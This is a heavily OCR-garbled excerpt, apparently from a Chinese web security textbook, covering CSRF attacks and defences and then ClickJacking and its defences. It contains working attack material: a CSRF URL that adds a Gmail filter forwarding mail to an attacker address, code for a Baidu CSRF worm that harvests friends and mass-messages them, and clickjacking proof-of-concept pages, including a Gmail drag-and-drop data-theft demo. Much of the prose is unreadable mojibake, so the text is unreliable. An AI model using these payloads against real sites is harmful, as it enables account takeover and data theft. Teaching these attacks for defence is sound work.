[ StumbleUpon Get to know StumbleUpon! - StumbleUpan Discover new web sites Hi passfres, Now that youVe tried Stumbling, the Aug 15 o

Done

" maloode.com @ B |8 orenncishok @

Proxy: Nane

W, BB R VT

©) Mozilla Fi

e Edt ew

fox
History

11 Google Msi - Inbox (157)

Bookmarks Tools Help
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i
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L} untitled)
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EX MR TR, KA T A" iframe, iframe (0HESR ) pdp 510 CSRF Kt 5

http://www.gnucitizen.org/util/csrf? method=POST& enctype=multipart/form-data& action
=https%3A//mail.google.com/mail/h/ewtljmuj4ddv/%$3Fv$3Dprf&cf2 emc=true&cf2 email=evil
inbox@mailinator.com&cfl from&cfl to&cfl subj&cfl has&cfl hasnoté&cfl attach=true&tfis
s=z&irf=on&nvp bu cftb=Create%20Filter

XANER I SE PRI AE S U E A POST (R, I B3,

00 0 28 D4 AFAE Gmail BB Cookie, AT LA P A£E iframe FP 5%} Gmail & fIX R
5 SR 2 BC——HRFE 19 Filter " 2387 G 2 — 2 B0, 5 Fr A7 PR AL 1) S 42 13 2 e 8] B s 3 (P TR
FH o

@®- -@ (1 [P hapsifimat guogl ¥ al pkaCunlDIALRYyFDOER:

Wail Calendar Documents Photos Groups YYeh more v Settings | Help | Sign out

Shom search options
( ;Ot)gle Search Mail | [_Search the Wep | Sheseatens
Mail @ Your filter was created. Learn more
Compose Mail Settings
Inbox (157 General Accoumts Labels Filters Forwardingand POP Chat Web Clips
Staned 9
Chats © The following filters are applied to all incoming mail:
Sent hail

Matches: has:attachment

Drafts Do this: Forward ta collect@evil com

All Mail
Spam (523
Trash

Conacte Evil Site adds a Backdoor
ndar h che tandard chal HThl

edit  delste

» @ John Dolsan
Search, add, or irvite

oogle ial view. standard wi rel wilhoul Chit | besic L. Learm more

b Labels @2007 Google - Tarms of Use - Privacy Poley - Program Policies - Goodle Home

¥ Invite a friend
Give Google Mail to:

mail.google com & ProxyiMone @ [H] OpenNotebook @

SERE SIS CSRF F 7 1) Gmail HHg 2800

Google 7EAAJG BMEFN T XA -
4.2.4 Flash CSRF

Flash (075 2 Fh 5 L REHE A M 25955k, 46 POST. b i BeAR IS .

import flash.net.URLRequest;

import flash.system.Security;

var url = new URLRequest ("http://target/page") ;
var param = new URLVariables();

param = "test=123";

url.method = "POST";

url.data = param;

sendToURL (url) ;

stop () ;

K& T URLRequest 7}, 7 Flash it i A§ A getURL, loadVars 557 UK IE K . Lhln:
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req = new LoadVars () ;
req.addRequestHeader ("foo", "bar");
req.send ("http://target/page?vl=123&v2=456", " blank", "GET");

fEIE 6. IE 7 "1, Flash KIZERIMEEIE KA LAY EAHS Cookie; {H 2 M IE 8 i, Flash &
AL IR 481 SR DS ANTRRIE A M Cookie T .

425 CSRF Worm

2008 4E 9 H, EHNKIZeHL 80sec A T —ANH E ) CSRF Worm.

el FR DA 1 B rp L A L R T g

http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmits&sn=H K/ cco=7HE N %

A LB S H sn, RVADRHRE I ORGOR R B o 101 BER S3 40— 1 U RE 2y i 2
AT A

http://frd.baidu.com/?ct=28sun= /"K' ¢cm=FriListstn=bmABCFriList&callback=gotfriends

e gk, TS —A CSRF Worm——il— AN B P AGE RIS, %4
HFRIBITAT e A% S IR, ARJA IR AT R P S 5K s M BE PR IR 7] CSRF 3T
T, AEAFIK LU AP ORI S A AT A AL, XA Worm DA LUA% 3k -

Step 1: AEH IR &5 230t LA request IS,

var lsURL=window.location.href;
1loU = 1sURL.split("?");

if (loU.length>1)

{

var loallPm = 1oU[1l].split("&");

58 Sl HUUT TR 55 s ik, OS2 MI&AT 5 )5 I A5 Hi - N URL R BUsegeid sk il - 44
AVEKGEH U I )1 4

Step 2: # K json Ei#E BN AR .

var gotfriends = function (x)

{

for (i=0;1i<x[2] .length;i++)

{

friends.push (x[2]1[1]1[1]1);

}

}

loadjson('<script
src="http://frd.baidu.com/?ct=28&un="+lusername+'&cm=FrilList&tn=bmABCFriList&callback
=gotfriendsé&.tmp=&1=2"><\/script>"');

WIS CSRF Wil AW FE N 252 545 (I 4F A json B, MR %% 11 json Hdlaak o, $2HK
U R A s U A SRR I %

Step 3: JEHLAR A AT BUAE IZ B o
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evilurl=url+"/wish.php?from="+lusername+"&to=";
sendmsg="http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmité&sn=[user] &co=[evilmsg]"
for (i=0;i<friends.length;i++) {

mysendmsg=mysendmsg+"&"+1;

eval ('"x'+i+'=new Image();x'+i+'.src=unescape (""+mysendmsg+'");");

AT T P2 440 S R 0 PR P 44 TN R P, SRS
/M TP IR T CSRE R PE——BIAERE AT XSS i, DU B CSRE, 2 fg
i KK BN S

4.3 CSRF BYBH1E
CSRF i F AR R 0 B, R BB A4 7 T LA B F ot

4.3.1 IGUFAG
IAUEAS B A Ky SR BT CSRE Tl e fif v 100 47 25 R B 80 ik o

CSRF MUt Rt fe, AR AN I D0 NI T 283K TUORAERD, Wi
SN TR, A ResedinRke. BB EOLT, RAEMREsiR iy it CSRF Bl

(HZRUERS AR g IR IR, TR RIS, s AREL BT AT IR AE#R N 36 E
o DI, B L BEE D i CSRE (11— Fliigh T BL M ANBEAE e 1 2l R %

4.3.2 Referer Check

Referer Check 7F FL XM i LRI F st 2 “Bril P A %857, R#, Referer Check t 7]
DA H AR s SRR Ak HAVE “UR 7.

OLE I N, T S U 2 TR AR AT e B OCR, IS RN 1E T SR 1
Referer B — & HIHLAE

Pelr—A “iRkamt” B, EIEE N N HRE GBI G a, 8 Ur A R T
REMI U . AE4RAC “RMG” MR I, Referer FIE D8R KM R AT VUM . WK Referer
MEA XA T, F A AW Wk, WS 7] fgf& CSRF i,

R FRAT T AE A M I A 75 Referer &1 G R AIWTHI 7 2 58 CSRF Bili, WAL T
Wit 78 73 4 fF - Referer Check HIBRFETET, ARS-3RIFIEH A RHEHBEEXE] Referer. 1R % H
PR TR EE, BT Referer FIRIE. ERLEFHA N, WAL KIE Referer,
Eein A HTTPS Bb46 2] HTTP, T2 2K %8, W HIEA LKL Referer.

fE Flash [{—S8pAr, el LUAIE B E X1 Referer Sk BUA Flash fEHT A HH 45
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T2 AR, ATRAVERIR F g X Referer Sk, AEUZAE S ASAT I 1% P St £ SO VFIXFT AT .

LU BRI R, FoA TR 2 eV #8i T Referer Check 7E N Bifil CSRF [ FHF B, {HiE
J# i Referer Check SRIi#E CSRF M) &4, & —Fal4Tm 71k,

4.3.3 Anti CSRF Token

IAENE ST X CSRFE HIRfE, — Sk e H—A Token. fENZHILIT VLR, 26 T —
N CSRF fA T o

4.3.3.1 CSRF By&&
CSRF MAtAREM B il ? SEA R A & BB E KT A S5 2 o] A B A R I

K& AT URL BT 285 S8, A el iE — MAE IR, k2,
Bl R o ) o

AR, ATLARE—AMERTT R SESENE, s S, m ik
HIERTNBIZHEAEL . X “CATTTIEE N 11— RN (2% “RE 2t =),

e, —NIHERERAFK) URL -

http://host/path/delete?username=abc&item=123

FUE ) username 205 A5 (B«

http://host/path/delete?username=md5 (salt+abc) &item=123

XA, FEMGE B ANKIE salt DT, S ok IS HiX A~ URL /Y, Rt 6 M &2 CSRF
Wi T mXFARS 2K, WA A Session % Cookie HHXfF “username=abc” MM, T4k
& salt XSPHEANESRHFATIAE, 1EH ISR S N SN .

{EOEIXAN VA AFAE —SE ), B 5%, NS aliRVE G 1) URL AR f R s, x4k
AR R, WIS ERIR ISR, WL URL B evk gt ok 5in, 3%
T IS E T A N B A, B S s B TAET RAR KR, A Edis 20 B TAE H
T B S5 SC .

DRI, AT 75 S — A i FH PR A e g ke 3 B g i A )i, XA 5 Rt 2] Anti
CSRF Token.

12 EfiP) URL H, ARAFIRSECAA, B — 4240 Token. XA Token [MEL/EPENLIT,
R

http://host/path/delete?username=abc&item=123&token=[random (seed) ]

Token 7 2L WEREAL, A ZAE AL 5 2 42 I BEALEL B S, B R BB LS A s (1)
HEEHL, WS CINEEE SN —®) . Token MAXAER—A “Bb#”, AN HIRSH



122 HIETYF Web %4>

TSR, ANRERESE =B Mnhe. (ESEZFRN I, Token AT LUJSCEE FH F 1) Session H, a3 i b
221t Cookie H.

1 Token 4775, Bl JCiAFHHIE A58 K URL St CSRF Kiily

Token 7 2 [F] I FUAE 2R BRI Session W o FEFRACTESRIN, 45 2% T 50 E R 5.7 1) Token,
5 H P Session (E{ Cookie) H'HJ Token s& 72, MWH—F, WA N &AEE K EA—
B, BEA AN, WERACHIERA G, ATREARAE T CSRF Miiti.

QIR XANK R, Token 1F8—ANEEjE input 7B, JHHE form -

. wie| #| HseeEn

=  [EEHOH Y s A% M bl w-600

R RA B s 3
Hiegn: 45 HERARIE CVEEEE —Ofi : 7200 % T
fraE | BRI (=4
AR 20 103F 20 HE TR
HEERFAEETF
¥76 s bt
S 550 $hE BRE 10 W il
,m:ﬂr DS LEEE
k8 yur7

$ [mrML~ | css W& DON B3 Events Cookies

0 html

® <div class="PagingMar’>
= <form id="itemsForm” target="_blank” name="itemsForm” method="post"s
<input trpe="hidden” walue="51e422021265b" name="_tb_| 1 ">
<div class="batch-buy~fav-operate”>
{script trpe="tezt/iavaseript” language="javaseript™
<seript sre="http:/fa. tbedn. en/app/favoritefassets/ iz app/reconmend list
Srui-taobao. jsPt=20080805" type="text/jawascript”s
® <script sre="http:ffa. tbedn enfapn/favoritef/assets/isfapp/recommend_list
Frecommend list. 15Ft=20080805" type="tezmt/javaseript™>
# ¢script trpe="tezt/javasecript™>
¥ <div i8="FavoritesList” elass="MyFavor my-shop—far”>
# {div class="batch-bur-fav-operate"s
<fform>

+ [

Kt 7 BE ) Token

[A]I} Cookie P 4w

b
—

-4~ Token:

BHME mrm css Mk 10X | PI% v~ | Events Cookies

Connection keep-alive
Cookie wi=%elEcl0d2cf0fd9cT40924cdefdledd6_0db2% 201 295dabfe957FAT5:
NZCfelbed0azb309Tab058ed feE0ddebies_0db1%2C3841aaiff24 92095
. t=Ne958bTeadd3fTdf4Tofabfddddcbede; cna=EkuVAY3Tt3sEa=Edal
Y2FhlXdpudVocZisk ToBCl OufEE0 1 Mhea 360l +mP S 4P STRHeul4 0 00H 492
=whq_jimmy; ssllogin=1l; bte=26444471N2B500046T4%3A29%3E1 705"
N3A14WIES00006T1%3414; retat_beo_842631=344591 T296 207871236,
=5230226091988725884; lstat_be_1278477=1634 806144284 2028240
=4550651 352051823272, __utma=6906807. 2024291644, 1258356128, ;
.3 4. utmezr=tacbao. com |utmeens (referral) [utmemd=referral |utr
: nt=Vq21%2ERCLiAAQpIVILzwEz 202 e BTk 0k 0y TEHN ZETH =YW 1V TV ERI]
; lstat_be_1298239=36T47E9769534622686; lstat_be_1201994=20¢
; lstat_be_l006391=19365092493640415306; l=tat_bo_l216880=3:
; lstat_be_1323495=26315263213331579943, lzstat_ur=24962301:
BEEE0E1A1 2638501 29623901 T91451@1 00596801 52 T4 34@1 T2244 5M1 821
NIDONZEcHIDIN2ZE TN SDON2EEND0N2E %300, ckl=; lzstat_ss=1%146«
; wnrtaobaocom_user_from=htip¥3ANZFYNZFwme. koubei. com%2F comme
WIDhttpNZTIANZIZFNZS2Fbbs, koubel, com¥232F synlogin. phy, cart:
=a1%a582f1Talb3a39333T3aaeSadfaed; uwel=1ltine=128321499Tkcor
Ecooki el E=WSiHLLyFF INCbLDwi N 26 dvAGZ qLE% 30% 3Dk se=r1ck_rb_=fal
WIFETANIDNID, v=0; lastgetwmzg=N

Cookie "f] Token
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4.3.3.2 Token BY{EREN
Anti CSRF Token fEf# IR, HHTIEREFH .

Bii 0 CSRF ) Token, JEMR4fE “ANFIFRIE I vk 0755, Bl Token ALK — & %
GBI, T EAE ] 2 A B LECE e A2 1 Token.o

BEAh, XA Token IR HIRANE Y TR IEERERAS . PrEAy TAEHI (8, ATBLse e
JURAT A A YA A Token T AESAT#-EH A4~ Token. {HAZ WA " CLEe$248 TR AL,
WX A Token CLZTH AR, NAZFFXE P AR Hr ) Tokens

ik Token fRA7{E Cookie H', TIA R MRSS#ui[1) Session 1, WIZsifik—ANFr B .
AR PAT IR JUASAH A R GO TR A, ES DOTy AE B Token Ji,  HoA VORI PR 2R 50 4 £
AEIRIIE S FESR A Token, PRI FLA U PR 3R SR PR R B AS I, 25 HH I Token i . 7EiX
FESL T, TR B A A 30K Token, LUE IR Z TUIIILAE I3 5%

), A Token BN 1%y E RS Token [FI{R % M. Token 404 H BLAE HEAN DRI URL H, NI
R Referer 1977 M E% . LLan DA R U1 -

http://host/path/manage?username=abc&token=[random]

XA manage GUITZ MR, 7 7 EEAEIXAS DU $R AR S e ity < INRR T $24H
7 RE S M R A

RIS, AU S 75K A e bk (1 1«

<img src="http://evil.com/notexist" />

] “http://host/path/manage?username=abc&token=[random]” £31F >} HTTP K[ Referer
Ri%EF evil.com [PIJIRSS#% L, AL Token it i#5 o

A EAEE ] Token I, RiZ/SHH Token AER B H . BUBHE/E I GET &8 POST, LA
form £ H. (BE AJAX) WEA$EAS, AT LB Token jlit#s

BEAt, AT S8 A (13845 T B 2L Token itk . ELUN XSS Jill o —LLis bl , #nT
AE LRI Dy S Token fRIH .

CSRF [fJ Token 1A H T X4t CSRF Braki, Mshiid [FI AE7E XSS deili iy, XN s
AAFTRL, BRI XSS AT AR /- i b Ve 28 AT AR A . 5 XSS Biahi , B a4 vl LA
R G5, 52 HH DU A 2 HL ) Token {H, SRJ5 FHAs th— MEEMIE K . XA R DIFRZ
4 XSRF, F1CSRF LLZRX 77

XSS iR, NAZAEH] XSS (KB HTr %7 LMk, 50 CSRF ) Token B2 2%
kI LB R A B ANET



124 HEETY Web %4

4.4 ING
RENET Web 2P —NEER: CSRFE %K. CSRF B th fe i it il ™ 5 1 )5 5,
ANGE RS X P B 7 5

CSRF W @ W E A H P 0 S 85 ik P i —Fh X 775X vt CSRF 155 fEl 77
LSS AR CSRF B0 1) )5t R A i

AR AN W] SR S U], B AT T30 5 ] Anti CSRF Token >KPjjfl CSRF Biifi o 7:4{ ] Token
I, BEE Token MR MEFIBEHLME: .
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2008 4, 4% 5K Robert Hansen 5 Jeremiah Grossman & HL T — Fi A A1 Fx A
“ClickJacking” (i BlRE) ¥y, XR B 77 0% m T LT Pra R - &, 45 1B, Safari.
Firefox. Opera UL} Adobe Flash. PHALAR I TR 94F 1) OWASP 4 Koy B A H 2T 8
R, fAALEE Adobe 7E N IRITAT) R, HEESR AR IRIRAAE AR AN EE A T I ) i

51 TAaRKEIFT
PR PR RN TR, Bk S ANB I, R WL iframe, B A

AP TT L, SRJE A AR T AT A, U TP RAE AN RIS OIS 00T R W iframe
U o 33 8 iframe GO AOAZ ', BT LA 18 4 i £ iframe DT AS)— L2 D) e V44T

R R FIER U e Py

& XA T

7E http://www.a.com/test.html UGN T — Mg W H bR 551 iframe, H TR0 H B,
FATEX A iframe 2535 1 -

<!DOCTYPE html>
<html>
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<head>
<title>CLICK JACK!!!</title>
<style>
iframe {
width: 900px;
height: 250px;

/* Use absolute positioning to line up update button with fake button */
position: absolute;

top: -195px;
left: -740px;
z-index: 2;

/* Hide from view */
-moz-opacity: 0.5;
opacity: 0.5;
filter: alpha(opacity=0.5);
}

button {
position: absolute;
top: 10px;
left: 10px;
z-index: 1;
width: 120px;
}
</style>
</head>
<body>
<iframe src="http://www.gidian.com" scrolling="no"></iframe>
<button>CLICK HERE!</button>
</body>
</html>

LEIXA test.html 45— button, I iframe 58 45E I, IRA & HI K2

CLICK HERE! |

EDAE gl [ibE e

Y iframe VEHIN, ALLER], 7E button LHIILSIE G T 55— MM L

~ CLIgRZmRR RE4E

SERRM TN, $EH BB T ) iframe &

8 55 1 W LSO MY R

WHeEH | BO-RE D RX-RAA D 2R-BlE | BE-=E

BT [BE/BaAEE T |?«%% j # F | BIETE &t
Amhanl  ETTTT - I

B I iframe T 1109 2%

IR s test.html B button I, 52k EAISy i £ iframe BT PR R 2L
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I AT AR, EBISCHEE A R I LAT

iframe {
width: 900px;
height: 250px;

/* Use absolute positioning to line up update button with fake button */
position: absolute;

top: -195px;

left: -740px;

z-index: 2;

/* Hide from view */
-moz-opacity: 0.5;

opacity: 0.5;

filter: alpha(opacity=0.5);

Wkl iframe B, 98, CLACEE tops left M2, AT LA iframe BT P AT 5235055

BT Ty . [RIARCE iframe FY position ?J absolute, F£FF z-index HMEBIE Hi K, LA

Fik iframe 40 T T M L2 . B)n, FREMBEE opacity K4 iframe T (13 HFRE, (A
h 0 2T .

KR, e TR B A B

M FFSGE 5 CSRF Bl (PRI “B5ufi s sk Obit” —%) AR T2 2, #OE/EH
JIRRE OB g 283 . (HJ2AE CSRE i O fErh, R LA P AL
VU, WG AT RES TCVEMR SE e B ZANRIE, i S FrBc XA UE, e M e 5
F P A AR LR LT

twitter L2 “ SRS e E R T ANMEM AAGE ST K
%4 twitter A1 POC, HACE S 24, {HE POC HH) iframe HuhlF5m T -

<iframe scrolling="no" src="http://twitter.com/home?status=Yes, I didclick the button!!!
(WHAT! ! ?2?) "></iframe>

£ twitter f) URL HLEIY status SECRIEHIERIZRIN A . BEEEREETU, 15 Tweet $44]
W SRR {H P AR BT St — ST LK) button B, SEFR EEIAEARZG BN K% T — 5K MiE,

5.2 Flash st5&Ehis

N AN N ClickJacking B 6. Wi # 8l Flash #4Jid T A B,
TETEN— RANVE IS G, &6 T H P B gk .

H 1T Adobe 237 CL454F Flash FR& 4N T i . B Bedn 1 -

H5E, Budi# i T A Flash Ji5xk, JFARMHI T RIGZ AT XA RS L 2%
s “CLICK” 4, RRI T X MEHLI A B A 2 R B AR
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Score: 1 Time: 2:69

BN m BV ER T Flash XK

FEIL BRSO T N A iframe:

Score: 6 Time: 7:02 Some of the clicks are real
garne clicks, some are stolen
{jacked) and used to activate the
Flash Settings Manager behind.

q

Flash _- B2 1) iframe % I

PR L R A T Y, S R T o Bl I S b i A
RERS SE B LN 2R KRR o

Score: 12 Time: 14:85 Some of the clicks are real
game clicks, some are stolen
{jacked) and used to activate the
Flash Settings Manager behind.

r//-
| Jacked ]

i

e i A e R L
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Score: 15 Time: 18:99

| Jacked )

e

B2 i AT RO

AGEIX D A, 707 TR iR k.

Score: 18 Time: 22:41

The user has unknowingly
granted access to his
webcam. The real attack
wouldn't shaw that to the user
and the game will continue.

M R ST TRk

53 BRZEESEWTE

RN A TS — AL o A IXAN BB, A — SE BT U 2 AT LR 2R AR 4
HY, bednpd s g

— 4 sven.vetsch [1)& A5 oG 71X Cross Site Image Overlaying B(it7, &K
XSIO. sven.vetsch il L 32 & 1 (1) style 14115 K BEA% 78 25 A6 AR T Fi 2 AT AL E

<a href="http://disenchant.ch">

<img src=http://disenchant.ch/powered.jpg
style=position:absolute;right:320px; top:90px; />
</a>
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WUN o, A i T -

Myspace | :

| Groups Everts VideosMusic Comedy Clssineds

I: Myspace Original
Ryl

18 5 Je [ DT IR Bl

Myspace |

|| Groups | Events | Videos | Music | Comedy ) Classifieds

2: Myspace after XSI10O
R ]

DU LA logo I #EE T, JE$81M T sven.vetsch HIMIuE . 18 H P Bb R F-25 551 logo
B, w2 sven.vetsch IR 0s . a1 JLIX e — /M N sk s, PR TRES 14,

XSI0 AT XSS, EH K E ] style, sl Mg CSS. AR FHA A BRI style
f) position J4j absolute [, P& F il LA o B i B AR E, TR didhif.

R A B 20 R L XA e BRI R

</table><a href="http://www.ph4ntOm.org">

<img src="http://img.baidu.com/hi/img/portraitn.jpg"
style="position:absolute;left:123px;top:123px;">
</a>

— RS AR 7 55 2 logo Ab:

i S £

O Forever~!

N ®E A% | TARE | FE | RE

poa-ct
test XSIO
2008-07-1210:56

ZER ¢ B2 | e | HER | RO | BISECO) R EARE

KSR B # B 1 2 Logo b

1 http://hi.baidu.com/aullik5/blog/item/e031985175a02¢c6785352416.html
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s SR R IS, 2 BB B AR R 3t

B IER] DAOR AR 8N IE W (0 BERE . $44H; B il 2850y, B EOCHE )
R, WA AT RE S A AR Ui P ARRA D, AR DL, AT R R, R K
B 1 H o

tedmn, FUAT XSIO & it h IR L, W RES SEURZ AT B4,

M1 F<img>Fr2E AR 2 2R 8 P20 P T, DR E L S iR AR 22 1l /A7 A4 XSIO
Kl (R RT BE . AERTAE XSIO I, 5 ZE R0 A A 7 84K HTML AQRS H, <img>Fr&& ) style & 12
Ml e P EF

54 HERIFFSEIEEIEX

2010 4£, ClickJacking ARG THHI A E. A4 0 Paul Stone )2 4WF57 % 7F BlackHat
2010 K4 LRFE T Bl “Next Generation Clickjacking” W . fEiZimdEr, $EH T %o
Hap 7 FEUR L 4 )

H AR 2230 Y 38 4847 32 ¥ Drag & Drop [t APT. X1 H P okid, HEAAbAT T4 45 5 0
fA SR o D0 B AR O R DU — /M5, TR —BsC7, 38T BUN—ANE L3S )
AN, DRI AR AN 52 [R] 5 S BRI 11 o

“HARBRR” R P BB AN T, iframe R B A A B K HL
P ARJETRCERN B BRI 3 AN DU, AT B A

fE JavaScript B Java APIFISZFF T, XANMIERE SRR Bafic. PN ERBE T 164
ClickJacking &SGR MR, T EUXMOBT K “HEAEF5 7 BEfS i i SR MRIA o

IR 4Gt xisigr B2 7 — AN Gmail [ POC?, i FE KSR .

EIE, AU R, BN R NEER SR

7y, o

BRI E R 1) B T/ Rk

2 http://hi.baidu.com/xisigr/blog/item/2c2b7al10ec848f0c2ce79ec.html
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SERR B, ZE/ANERFN NS ) SK T A BRI iframe.

FEIXAMEFrh, xisigr ] event.dataTransfer.getData('Text') JKIRIX “drag” ZIAIEHE . 24
H P/ NERES, SZFR Bk b T RRmn iframe BLAOEHE ;. 7EHC R /NBRET, OB ME T &
i 1) textarea T, AT 58 B — A GF BT I AR

[emtextarea

[eEiiframe

FERIgmailE [¥ Show the jacked I—Frame | Show the jacked Textarea |

Design by xisigr

ETE iR bepbiE WePHlE Bkdbfr AEdfE ﬁiﬁm# (1) EWiResrt (1) 0day code Registration Information
P EEIMES BB BEhRER Gnail BF: 238, £ BR. K& SNBE FMPBAHE E 1 -0 @ % 0 @ FEE
ik 2 FEMEE FidbkE FehER wﬁﬁm#ﬁﬁﬂ*ﬁﬂm#mm VHERE FoAFR FOAER

Bk P
ﬁi}ﬂ #PE" | hn “FEE” F8: o REPIEPFIER K

J B

A5 RS I T

<html>

<head>
<title>
Gmail Clickjacking with drag and drop Attack Demo
</title>
<style>
.iframe hidden{height: 50px; width: 50px; top:360px; left:365px; overflow:hidden;
filter: alpha(opacity=0); opacity:.0; position: absolute; } .text area hidden{
height: 30px; width: 30px; top:160px; left:670px; overflow:hidden; filter:
alpha (opacity=0); opacity:.0; position: absolute; } .ball{ top:350px; left:350px;
position: absolute; } .ball 1{ top:136px; left:640px; filter: alpha (opacity=0);
opacity:.0; position: absolute; }.Dolphin{ top:150px; left:600px; position:
absolute; }.center{ margin-right: auto;margin-left: auto;
vertical-align:middle;text-align:center;
margin-top:350px; }
</style>
<script>
function Init () {
var source = document.getElementById("source"):;
var target = document.getElementById("target"):;
if (source.addEventListener) {
target.addEventListener ("drop", DumpInfo, false);
} else {
target.attachEvent ("ondrop", DumpInfo);
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function DumpInfo (event) {
showHide ball.call (this);
showHide ball 1.call(this);
var info = document.getElementById("info") ;
info.innerHTML += "<span style='color:#3355cc; font-size:13px'>" +
event.dataTransfer.getData ('Text') + "</span><br> ";

}

function showHide frame() {
var iframe 1 = document.getElementById("iframe 1");
iframe 1l.style.opacity = this.checked ? "0.5": "0";
iframe 1l.style.filter = "progid:DXImageTransform.Microsoft.Alpha (opacity=" +
(this.checked 2 "50": "O0") + ");"
}
function showHide text () {
var text 1 = document.getElementById("target");
text l.style.opacity = this.checked ? "0.5": "0";

text l.style.filter = "progid:DXImageTransform.Microsoft.Alpha (opacity=" +

(this.checked 2 "50": "0") + ");"

}

function showHide ball () {
var hide ball = document.getElementById("hide ball");
hide ball.style.opacity = "0";
hide ball.style.filter = "alpha (opacity=0)";

}

function showHide ball 1() {
var hide ball 1 = document.getElementById("hide ball 1");

hide ball 1l.style.opacity = "1";

hide ball 1l.style.filter = "alpha (opacity=100)";
}
function reload text() {
document.getElementById ("target") .value = '';
}
</script>
</head>
<body onload="Init ();">
<center>
<hl>
Gmail Clickjacking with drag and drop Attack
</hl>
</center>

<img id="hide ball" src=ball.png class="ball">
<div id="source">
<iframe id="iframe 1" src="https://mail.google.com/mail/ig/mailmax"
class="iframe hidden"
scrolling="no">
</iframe>
</div>
<img src=Dolphin.jpg class="Dolphin">
<div>
<img id="hide ball 1" src=ball.png class="ball 1">
</div>
<div>
<textarea id="target" class="text area hidden">
</textarea>
</div>
<div id="info" style="position:absolute;background-color:#e0ele0; font-weight:bold;
top:600px; ">
</div>
<center>
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Note: Clicking "ctrl + a" to select the ball, then drag it to the
<br>
mouth of the dolphin with the mouse.Make sure you have logged into GMAIL.
<br>
</center>
<br>
<br>
<div class="center">
<center>
<center>
<input id="showHide frame" type="checkbox"
onclick="showHide frame.call (this);"
/>
<label for="showHide frame">
Show the jacked I--Frame
</label>
\
<input id="showHide text" type="checkbox" onclick="showHide text.call (this);"
/>
<label for="showHide text">
Show the jacked Textarea
</label>
\
<input type=button value="Replay" onclick="location.reload();reload text();">
</center>
<br><br>
<b>
Design by
<a target="_ blank" href="http://hi.baidu.com/xisigr">
xisigr
</a>
</b>
</center>
</div>
</body>
</html>

MR RIS

5.5 ClickJacking 3.0: fbtfF&ENET
T 2010 49 H, BEEFHL LI “MbBEshie” el i am i < e g A, Xk
# ClickJacking X 7 M. LRI E KX Fh il 5E B FFFR A TapJacking.

LISER A iPhone AR, B BETHUN AAIBRME T e R #0750 filbe. ATHL
OS IMPBERA, Ml bfschr Bt —dF, THL OS MiFeiX L ft, IFHATAHM N1

Bt — XA SR, T RESOM BLLL T JLAS A

O touchstart, TFRflfs I A A

3 http://seclab.stanford.edu/websec/framebusting/tapjacking.pdf
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O touchend, T-J55 T HEmt & A
O touchmove, FFEHBIN KA
O touchcancel, Z&t A HY touch Fif4:,

TRLRF— AT UL iframe 72 75 20 2980 09 511, ATRLARET P Rk R 4 A

fis 5 B 5 i 7S i

M FHL R DR IR, TS0 702 e), SR 1 kA, Bt THLER
P ] e 23 AR A5 BN AR 5 STt o B0 T T AN

(‘ulmuu T HakAM —
Wb Imagos Locil Mewds moe v @

e s | Wob imanss Lol Mews mem v | GOUSIC
Wb Images Local Hews mam v @ GDUSIE a

Google a

-

TR (KA 5 4 B

JESURIELR, d BT SR T s A, R I el A T P T B S A
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T T s S S st A C 28 A SRR 1, BRI T R B bk
Rl E] ) o (ARSI (R = A N e A R
SRR WL BEROR I AT AR Y AT MU

2010 4 12 7%, W50 RIAE Android 58 50 TapJacking 142 AT LUE IR G102 4 1
B, JFF G TR .

TEAK, BUATRS B B 46 W S8 Ih BT T, B VFIRATT 7 3150 % Taplacking 350t /72t
5.6 PBAfE ClickJacking

ClickJacking A& —F L5 LRI, T4 Wl B EE e ? £ 54481 ClickJacking, — M2
T 22 PSR iframe RBHE

5.6.1 frame busting

% AT LU B JavaScript fU15, PAZEIE iframe (KR £ . IXFP 770 frame busting. HLf
X B A

if ( top.location != location ) {
top.location = self.location;

}

i ILIY) frame busting 3 LA FIX 2675 5

if (top != self)

if (top.location != self.location)
if (top.location != location)

if (parent.frames.length > 0)

if (window != top)

if (window.top !== window.self)

if (window.self != window.top)

if (parent && parent != window)

if (parent && parent.frames && parent.frames.length>0)
if((self.parenté&s! (self.parent===self))&&(self.parent.frames.length!=0))

top.location = self.location
top.location.href = document.location.href
top.location.href = self.location.href

top.location.replace(self.location)
top.location.href = window.location.href
top.location.replace (document.location)
top.location.href = window.location.href

top.location.href = "URL"
document.write('")
top.location = location

4 http://blog.mylookout.com/look-10-007-tapjacking/
5 http://vimeo.com/17648348
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#
ik

top.location.replace (document.location)
top.location.replace ('URL")

top.location.href = document.location
top.location.replace (window.location.href)
top.location.href = location.href

self.parent.location = document.location
parent.location.href = self.document.location
top.location.href = self.location

top.location = window.location

top.location.replace (window.location.pathname)
window.top.location = window.self.location

setTimeout (function () {document.body.innerHTML="";},1);
window.self.onload = function (evt) {document.body.innerHTML="";}
var url = window.location.href; top.location.replace(url)

{HJ2 frame busting WAFAE—LEH [ . i T& & H JavaScript 51, ¥ 68 J1 FFAS e 54,
RV ik blgent e,

Lt %l X} parent.location [ frame busting, A LR HREZ A iframe 77755600 . Bk
frame busting {1
if ( top.location != self.location) {

parent.location = self.location ;
}

IR JERL LA 7 BT AT Sgad E i 1 frd AR -

Attacker top frame:

<iframe src="attacker2 .html">
Attacker sub-frame:

<iframe src="http://www.victim.com">

Ak, 14 HTML 5 1 iframe Y sandbox JE L. IE 7 iframe K security JE 4, #B 0T LAFR
iframe UL [fH 1) JavaScript BIAFAT, MR LAH7 frame busting K44

WrIHAR # Gustav Rydstedt 85 N\ 45 T —F < T“ Bili frame busting i paper “Busting frame
busting: a study of clickjacking vulnerabilities at popular sites®”, PEZIYFiA T % Fh el frame busting
IPIRPAS

5.6.2 X-Frame—-Options

X7 frame busting A7 /EHSERL AT RE, BT LABRATT 285 AR SE L (i ke Jr % AN LRAR
Uf (77 B AL

X-Frame-Options AJ LLiji &k T ## ¥k ClickJacking 14211, H A LA W U628 TF 40 S RF
X-Frame-Options:

O IE 8+

6 http://seclab.stanford.edu/websec/framebusting/framebust.pdf
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O Opera 10.50+

O Safari 4+

O Chrome 4.1.249.1042+

O Firefox 3.6.9 (or earlier with NoScript)
EH = ATE A

O DENY

O SAMEORIGIN

O ALLOW-FROM origin

M{E ) DENY B, 30 S8 S0 40 07 0L i i TA] frame ULIHI; #7{H % SAMEORIGIN,
) frame G [ )bt HOBE A [RIVES A R IO 55 ALLOW-FROM, WAT L X AT frame
TR F i T skt

& T X-Frame-Options 4, Firefox [f) “Content Security Policy” LA Firefox ') NoScript
